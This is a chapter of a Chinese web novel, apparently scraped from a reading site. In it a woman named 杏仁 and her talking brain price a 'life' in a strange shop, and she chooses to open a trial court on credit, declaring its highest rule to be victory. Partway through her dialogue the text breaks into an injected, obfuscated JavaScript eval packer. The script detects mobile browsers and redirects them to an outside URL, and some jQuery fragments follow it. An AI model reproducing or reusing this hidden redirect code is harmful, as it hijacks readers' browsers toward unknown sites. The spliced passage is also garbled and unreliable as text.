15. 胜利

作品:《这究竟是谁的错?

    杏仁还在窸窸窣窣地抱怨:“你说你这家伙。连【内耗】这么有钱的赞助商都给得罪了。”


    “难道你就不懂得忍耐吗?”


    杏仁眯起眼睛,用眼神藐视脑子:“你说你每天跟在我身边,陪我处理生活中、工作中的各种事情。”


    “结果却连我处理难题时最常使用的技巧——忍耐都没有学会。”


    她一本正经:“虽然你一直声称自己爱岗敬业,但现在我真的不得不怀疑你的话是不是有点太言过其实。”


    “嘿!你这家伙。”脑子伸手指点,它一字一句地认真说,“没人能怀疑我的职业操守。”


    “现在不能,以后我的下家‘公司’找你做背调的时候更不能。”


    杏仁:“……”


    “我承认第一场审判庭花费的力很多,但那都是正当的消费。”


    脑子掰着手指一一细数:“我请来那么多的证人需要花力;我装点这个粉红的房间,让这里符合审判庭开办场所的要求,也需要花力;我买那些四肢五官,让证人能够方便使用,能够自如的活动与作证也需要花力……你想想,之后的审判都要用我第一场审判时购买的东西,这样还不值得吗?”


    说这话时脑子没有看她,它的眼神忽明忽灭,是散发着心虚的光吧。


    杏仁在心里叫嚣,就是在心虚吧。


    脑子却已经“咳咳”干咳两声将这件事略过,它用更吸引杏仁的事情引诱她:“抬头,你看那里——【生命】10000力。”


    杏仁闻声扭头。


    就在那层货架的最顶部,一个最高位置的格子里,被胶囊好好的包裹着——一条生命。


    杏仁很难形容她看见了什么,她好像看见了一团复杂的光,或者是奇异的星云,或者是诡秘多变的多边形。


    又或许生命这样东西本身就是她无法理解的,但无论她究竟看见了什么,当她的目光落在那个胶囊身上时。


    她很深切的理解,那就是她要的东西。


    命。


    “只要攒够一万力,你就可以活下去了,”脑子很愉快地说,“我继续在你的头盖骨里做一个活跃地可以经常更换居住地的脑子,你继续当你的穷人、社畜、忍耐大师、阴沟里的老鼠……噢耶!”


    欢呼声从杏仁身后传来:“我们都有光明的未来!”


    “阴沟里的老鼠。”杏仁轻笑一声,敛下眼睑,在嘴边嚼着这个新外号,“我刚刚可没有用这个形容词形容自己——再说你见过具备一头藻绿色秀发的老鼠吗?”


    “这谁能知道呢,下水道里有很多城市垃圾、化学物质啊什么的,你变异了也未可知啊。”脑子弯起嘴角,它才不会放过任何一个奚落杏仁的机会呢,“再说你居住的那个侦探社,又黑又潮又暗,和阴沟也没什么区别。”


    杏仁沿着货架顺行,她无视脑子的奚落,因为她看见了更奇特的东西——【四肢专区】


    里面当然有脑子购买的那些【卡通胳膊】【卡通腿】,每一对价值5力,确实是最便宜的了。


    当然也有别的更古怪的东西。


    什么【钢筋铁骨的胳膊】【长着绿毛的巨兽胳膊】【毛茸茸温暖胳膊】【自发热胳膊】【肌肉男胳膊】……


    那些东西太过奇怪,杏仁每看见一个,就幻想脑子穿戴着它们。


    而看到【肌肉男胳膊】时,脑海中就自动浮现脑子安装一只巨大的肌肉手臂时的怪异场景——小小的脑子安装着巨大的长满肌肉的四肢,像一只身轻脚重的肌肉蜘蛛。


    杏仁弯着嘴角,盯得脑子发毛。


    笑着笑着,她就笑不出来了。


    她忽然想到了什么,嘴角瞬间僵住,表情瞬间变得复杂:“一条命是10000力,【内耗】给你赞助了5000力,就是一条命的一半。”


    “是啊。”脑子理直气壮。


    “而你竟然将这一半挥霍了去开审判庭?”杏仁不可置信,“再攒一攒我说不定就能直接复活了。”


    脑子毫不留情地冷笑:“这你就是在痴人说梦了。”


    “你推过摩擦力很大的平面上放置的木块吗?”


    “什么?”杏仁一愣。


    “你不断的用力,它都不会有所移动。”


    “除非你用力的数值达到了某个临界点,才能真正的改变它的状态。”


    “就比如:假设一个小木块需要100N才能推动,而你只用了50N的力气,那么就算你推到海枯石烂,世界毁灭,太阳从天上掉下来都不会使它运动起来。”


    脑子说:“咱们的通用货币也是一样的,5000力就是5000力,决不能约等于10000力。”


    “如果你注定走向死亡,那么0力和5000力对你来说没有任何分别。”


    “更何况,你知道5000力多么难攒吗?”脑子说,“你只是一个普通的两脚人类,而【力】却是这么高贵的货币,如果不通过审判庭,你一辈子也无法真正的使用它,更无法赚取它。”


    脑子下结论:“对现在的你来说,赚取【力】的唯一方法就是开办审判庭。”


    “……”


    开办审判庭,谈何容易啊。


    杏仁后退两步,停在【一场审判庭】的前面,她瞪大双眼,双手做出请的姿势,指着【一场审判庭】后面的一串数字——3000力。


    “嘿!拜托,你看这里,一开始的这3000怎么来呢?”她点着玻璃。


    “咱们只有3力,和它相差3个零呢。”


    脑子的卡通眼睛又黑又圆,它跳上了一个货架的箱体,背靠从玻璃中透过来的冷光。


    明明房间内没有通气,脑子的神情却总给人一种风雨欲来的感觉。


    它说得郑重:“那就只有先赊欠了。”


    它在审判庭那扇玻璃的下找到一个很小的按钮,按钮比【购买】小得多,却挤了很多很多的字——


    【赊欠按钮——审判庭专属优惠活动。先举办审判庭,审判庭结束后,审判庭将强行向败诉者收取所有费用。】


    “这个房间里,只有审判庭是可以赊欠的。”脑子说。


    因为总有失败的一方可以收取费用,怎样都不会欠费的,对吧。


    杏仁深吸一口气。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799887|158282||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看来只有这条路了。”


    她伸出指头想要摁下去,却感到心慌,骤然停顿。


    “摁下去之后就没有退路了,对吧。”


    “嗯。”脑子答。


    她的心被揪起来,却忽然无法停止地砰砰跳。


    她感觉一股难过的感觉从她的脊背向上攀爬,直接爬到她的头盖骨里面去了。


    脑海中的“嗡嗡”声再一次响起,仿佛汽车的发动机声音,这股声音一直在她的脑海里盘旋,时间久得已经足够她忽视它,可现在这声音却再一次如此的明显,如此的声势浩大。


    “怎么了?”脑子凑近。


    “没什么——”杏仁心慌意乱,她耸耸肩,“我只是不知道我有没有做好准备。”


    “这样啊。”脑子轻笑一声。


    脑子停顿了一下:“这好办,我问你一个问题,看你能不能回答上来。”


    杏仁抬头看向它。


    脑子昂着自己:“你知道审判庭的最高准则是什么吗?”


    当然知道。


    是公平正义。


    杏仁刚刚才从《所有法》上看见这一行字体。


    杏仁刚要开口,可是,就在这一瞬间,她的脑海中浮现了很多事情。


    她想到了人权法律改革那日,裁决居民等级的工作人员来到她家,在年幼的她还有她妈妈的身上贴上了——五等公民的标签的那天。


    从此之后,饮食、住房、医疗、交通、教育……很多的权利与保障已经与她无缘。


    她想到就在昨天,她忙碌了大半年的项目被皮斯拉轻而易举的抢走,她像一个废品一样被公司残酷地抛弃,而且这都是被允许的,她没有任何根据维权。


    长期的疲倦一定是她脑溢血的原因之一。可当她住进了医院,却没有任何的保险能够保障她,哪怕只是为她提供最便宜的治疗。


    她想到那一年冬天很冷,她脑海中的“嗡鸣”声第一次刺耳地响起。


    那时她还不很习惯。


    她像一具行尸走肉在街边行走,街边刚停下来的车子总会残留热气,她总是无意识的靠近那些车辆,她路过一个占卜屋时,一辆高级轿车停在门口,占卜店的店长从车上下来,差点撞到她。


    那人惊讶地看了她一眼,对她说:“向神明祈祷吧,神明在看着你,祂会保佑你的。”


    她祈祷了。


    但,神明真的没有抛弃她吗?


    公司的法规可以轻而易举地将她停职甚至开除,国家的法律将人按照身体的机械化程度划分为三六九等,而她是最末等,神明的法则更是早已经抛弃了她。


    而现在,审判的权力终于轮到了她的手中。


    而失败的代价是她的生命。


    她还要退缩吗?


    “叮。”


    生物钟唱响了金属质感的报时。


    皎洁的月亮该再次挂在天空了吧。


    可惜她看不见了。


    在脑子赞许目光中:“你准备好了。”


    她摁了下去。


    她说:“审判庭的最高准则——”


    “是胜利。”